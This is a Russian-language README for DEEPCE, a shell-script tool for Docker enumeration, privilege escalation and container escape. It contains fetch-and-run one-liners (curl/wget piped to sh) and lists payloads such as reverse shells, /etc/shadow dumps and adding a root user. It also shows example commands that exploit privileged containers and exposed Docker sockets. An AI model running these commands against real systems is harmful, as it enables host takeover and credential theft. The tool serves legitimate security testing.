deepce

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Веб-сайт

Перечисление Docker, повышение привилегий и побег из контейнеров (DEEPCE)

Чтобы обеспечить совместимость с максимальным числом контейнеров, DEEPCE написан на чистом sh без зависимостей. Он будет использовать дополнительные инструменты, такие как curl, nmap, nslookup и dig, если они доступны, но в основном не полагается на них для перечисления.

Ни одна из процедур перечисления не должна затрагивать диск, однако большинство эксплойтов создают новые контейнеры, что приведёт к записи на диск, а некоторые эксплойты перезаписывают runC, что может быть разрушительно, так что будьте осторожны!

Ниже приведён список проверок, эксплойтов и полезных нагрузок, которые может использовать DEEPCE. Если у вас есть идеи по добавлению чего-то ещё, пожалуйста, создайте issue на GitHub!

Загрузка

DEEPCE можно загрузить на хост или в контейнер с помощью одной из следующих однострочных команд. Совет: загружайте в /dev/shm, чтобы не затрагивать диск.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Поддержка

Если вам нравится то, что я делаю с Deepce и другими моими проектами, вы можете напрямую поддержать мою работу! Купив мне кофе ☕, вы не просто удовлетворяете мою потребность в кофеине — вы помогаете мне уделять больше времени разработке и улучшению этих проектов с открытым исходным кодом. Каждая чашка кофе имеет значение и приносит больше инноваций в мир кибербезопасности. Спасибо за вашу поддержку — она значит для меня и для сообщества с открытым исходным кодом очень много!

Скриншоты

Больше примеров смотрите в папке docs

Перечисление

Ниже приведён список проверок, выполняемых DEEPCE.

• Идентификатор и имя контейнера (через обратный DNS)
• IP контейнера / DNS-сервер
• Версия Docker
• Интересные точки монтирования
• Пароли в распространённых файлах
• Переменные окружения
• Хэши паролей
• Распространённые чувствительные файлы, хранящиеся в контейнерах
• Другие контейнеры в той же сети
• Сканирование портов других контейнеров и самой хост-машины
• Поиск открытого docker-сокета

Эксплойты

• Повышение привилегий через группу Docker
• Выполнение команд на хосте через привилегированный режим
• Открытый Docker-сокет

Полезные нагрузки

Для каждого из перечисленных выше эксплойтов можно задать полезные нагрузки для эксплуатации хост-системы. Они включают:

• Обратная TCP-оболочка
• Вывод /etc/shadow
• Добавление нового root-пользователя
• Выполнение произвольных команд
• Запуск пользовательских бинарных файлов полезной нагрузки

Примеры

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Эксплойты

Следующие примеры показывают различные виды эксплойтов, которые можно выполнить, и доступные полезные нагрузки.

• Эксплуатация привилегированного контейнера для создания нового root-пользователя в хост-операционной системе:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

• Эксплуатация доступного для записи docker-сокета для вывода содержимого /etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow

• Повышение привилегий до root через членство в группе docker на хосте и запуск пользовательской полезной нагрузки

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Расширенное использование

Можно загрузить и запустить deepce, не затрагивая диск, однако в этом случае вам будет сложно задать аргументы (можно напрямую манипулировать переменными с помощью export).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Вдохновение

Есть несколько отличных скриптов для перечисления/побега из контейнеров и инструментов перечисления, которые вдохновили меня при написании этого. Однако я чувствовал необходимость написать свой чисто на sh, чтобы не устанавливать зависимости go/ruby и не полагаться на статический бинарник. Я также хотел выполнять больше проверок, чтобы выяснить, что за docker-контейнер перед нами, ведь во время теста мы можем оказаться внутри неизвестного контейнера. Количество вещей, которые может перечислить этот скрипт, вышло из-под контроля: каждый раз, когда я добавлял что-то новое, я придумывал ещё дополнительные вещи, которые можно добавить.

• LinPEAS
• LinEnum
• BotB
• Harpoon

Ресурсы

Разработчикам, которые ищут советы по безопасности Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md

Участие в разработке

Я приветствую pull request'ы, issues и обратную связь.

• Сделайте форк
• Создайте свою ветку функции (git checkout -b my-new-feature)
• Зафиксируйте изменения (git commit -am 'Added some feature')
• Запушьте ветку (git push origin my-new-feature)
• Создайте новый Pull Request